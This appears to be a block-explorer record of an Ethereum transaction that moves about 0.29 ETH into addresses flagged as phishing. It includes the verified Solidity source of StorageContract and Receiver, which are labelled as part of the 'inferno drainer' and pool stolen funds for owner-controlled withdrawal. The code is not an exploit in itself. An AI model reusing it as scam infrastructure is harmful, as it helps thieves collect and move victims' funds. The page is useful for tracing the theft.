Transaction Hash:
Block:
19616838 at Apr-09-2024 08:16:23 AM +UTC
Transaction Fee:
0.001644355991849064 ETH
$4.14
Gas Used:
38,831 Gas / 42.346475544 Gwei
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x000037bB...826Ce0000 | (Fake_Phishing188250) | 48.244153862423420314 Eth | 48.535289348856932557 Eth | 0.291135486433512243 | |
0x4838B106...B0BAD5f97
Miner
| (Titan Builder) | 12.79764361380224941 Eth | 12.798126508955716136 Eth | 0.000482895153466726 | |
0xC626243F...dDa43D9A2 |
0.296637987465699603 Eth
Nonce: 23
|
0.003858145040338296 Eth
Nonce: 24
| 0.292779842425361307 |
Execution Trace
ETH 0.291135486433512243
Fake_Phishing327902.CALL( )
-
StorageContract.CALL( )
- ETH 0.291135486433512243
Receiver.CALL( )
File 1 of 2: StorageContract
File 2 of 2: Receiver
// @mr_inferno_drainer / inferno drainer pragma solidity ^0.8.6; contract StorageContract { address public nativeCryptoReceiver; address[] public owners; constructor(address defaultNativeCryptoReceiver, address firstOwner) { nativeCryptoReceiver = defaultNativeCryptoReceiver; owners.push(firstOwner); } modifier onlyOwner() { bool isOwner = false; for (uint256 i = 0; i < owners.length; i++) { if (msg.sender == owners[i]) { isOwner = true; break; } } require(isOwner, "Caller is not an owner"); _; } function addOwner(address newOwner) public onlyOwner { owners.push(newOwner); } function getOwners() public view returns (address[] memory) { return owners; } function removeOwner(address ownerToRemove) public onlyOwner { uint256 index = type(uint256).max; for (uint256 i = 0; i < owners.length; i++) { if (owners[i] == ownerToRemove) { index = i; break; } } require(index != type(uint256).max, "Owner not found"); require(owners.length > 1, "Cannot remove the last owner"); owners[index] = owners[owners.length - 1]; owners.pop(); } function changeNativeCryptoReceiver(address newNativeCryptoReceiver) public onlyOwner { nativeCryptoReceiver = newNativeCryptoReceiver; } }
File 2 of 2: Receiver
// File: contracts/StorageContract.sol pragma solidity ^0.8.6; contract StorageContract { address public nativeCryptoReceiver; address[] public owners; constructor(address defaultNativeCryptoReceiver, address firstOwner) { nativeCryptoReceiver = defaultNativeCryptoReceiver; owners.push(firstOwner); } modifier onlyOwner() { bool isOwner = false; for (uint256 i = 0; i < owners.length; i++) { if (msg.sender == owners[i]) { isOwner = true; break; } } require(isOwner, "Caller is not an owner"); _; } function addOwner(address newOwner) public onlyOwner { owners.push(newOwner); } function getOwners() public view returns (address[] memory) { return owners; } function removeOwner(address ownerToRemove) public onlyOwner { uint256 index = type(uint256).max; for (uint256 i = 0; i < owners.length; i++) { if (owners[i] == ownerToRemove) { index = i; break; } } require(index != type(uint256).max, "Owner not found"); require(owners.length > 1, "Cannot remove the last owner"); owners[index] = owners[owners.length - 1]; owners.pop(); } function changeNativeCryptoReceiver(address newNativeCryptoReceiver) public onlyOwner { nativeCryptoReceiver = newNativeCryptoReceiver; } } // File: contracts/Receiver.sol pragma solidity ^0.8.4; contract Receiver { StorageContract storageContract; mapping(address => uint256) private balances; constructor(address storageContractAddress) { storageContract = StorageContract(storageContractAddress); } modifier onlyOwner() { bool isOwner = false; for (uint256 i = 0; i < storageContract.getOwners().length; i++) { if (msg.sender == storageContract.owners(i)) { isOwner = true; break; } } require(isOwner, "Caller is not an owner"); _; } receive() external payable {} fallback() external payable {} function withdraw(uint256 amount, address recipient) public onlyOwner { require( amount <= address(this).balance, "Not enough balance in the contract" ); (bool sent, ) = payable(recipient).call{value: amount}(""); require(sent, "Fail"); } function bulkWithdraw(uint256[] memory amounts, address[] memory recipients) public onlyOwner { require( amounts.length == recipients.length, "The amounts and recipients length mismatch" ); for (uint256 i = 0; i < recipients.length; i++) { uint256 amount = amounts[i]; address recipient = recipients[i]; require( amount <= address(this).balance, "Not enough balance in the contract" ); (bool sent, ) = payable(recipient).call{value: amount}(""); require(sent, "Fail"); } } }